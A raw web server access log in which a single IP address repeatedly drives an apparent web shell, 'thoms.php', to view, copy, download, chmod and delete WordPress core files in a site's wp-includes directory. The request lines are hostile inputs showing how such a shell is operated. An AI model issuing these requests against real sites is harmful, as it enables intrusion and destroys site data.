45.135.193.11 - - [11/Sep/2026:23:18:35 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:36 -0400] "GET /thoms.php?dl=class-walker-category.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59303 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:36 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11551 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:38 -0400] "GET /thoms.php?chmod=default-filters.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Flocale.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Flocale.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:38 -0400] "GET /bestzyx.com.tw/wp-includes/ms-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:39 -0400] "GET /thoms.php?chmod=post-formats.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:39 -0400] "GET /thoms.php?dl=rest-api.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:40 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 200 13092 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:41 -0400] "GET /thoms.php?dl=rss.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:42 -0400] "GET /thoms.php?chmod=template-loader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:42 -0400] "GET /bestzyx.com.tw/wp-includes/theme.json HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fversion.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fversion.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:43 -0400] "GET /thoms.php?chmod=html-api&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:43 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:44 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:44 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:45 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 200 13281 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:45 -0400] "GET /bestzyx.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-settings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-settings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:46 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 200 29319 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:46 -0400] "GET /thoms.php?dl=shortcodes.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59289 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:47 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:47 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:48 -0400] "GET /thoms.php?chmod=media.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:48 -0400] "GET /thoms.php?del=class-wp-user.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:50 -0400] "GET /bestzyx.com.tw/wp-includes/ID3/ HTTP/1.1" 200 1639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:49 -0400] "GET /thoms.php?dl=ms-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59325 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:50 -0400] "GET /thoms.php?chmod=ms-network.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:50 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 200 15898 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:50 -0400] "GET /thoms.php?del=sitemaps&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:51 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:51 -0400] "GET /thoms.php?del=plugin.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:52 -0400] "GET /thoms.php?chmod=query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:52 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 200 13819 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:52 -0400] "GET /thoms.php?del=rest-api.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59283 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:53 -0400] "GET /bestzyx.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 200 1321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:53 -0400] "GET /thoms.php?del=category-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:53 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:54 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:54 -0400] "GET /bestzyx.com.tw/wp-includes/connectors.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:54 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 200 18374 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:54 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 200 14912 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:54 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:54 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:54 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 200 17027 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:54 -0400] "GET /thoms.php?del=icons.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=icons.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:54 -0400] "GET /thoms.php?dl=block-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59296 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:55 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 200 19621 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 200 12310 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:55 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 200 14623 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:55 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:55 -0400] "GET /thoms.php?del=theme.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=theme.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:55 -0400] "GET /thoms.php?dl=canonical.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59322 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:55 -0400] "GET /thoms.php?dl=class-wp-http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:56 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 200 29012 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:55 -0400] "GET /thoms.php?del=compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59249 "http://163.245.207.76:443/thoms.php?del=compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:56 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:56 -0400] "GET /bestzyx.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:56 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:56 -0400] "GET /thoms.php?del=utf8.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59358 "http://163.245.207.76:443/thoms.php?del=utf8.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:56 -0400] "GET /thoms.php?dl=class-feed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:56 -0400] "GET /thoms.php?chmod=sodium_compat&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:56 -0400] "GET /bestzyx.com.tw/wp-includes/registration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:56 -0400] "GET /thoms.php?chmod=comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
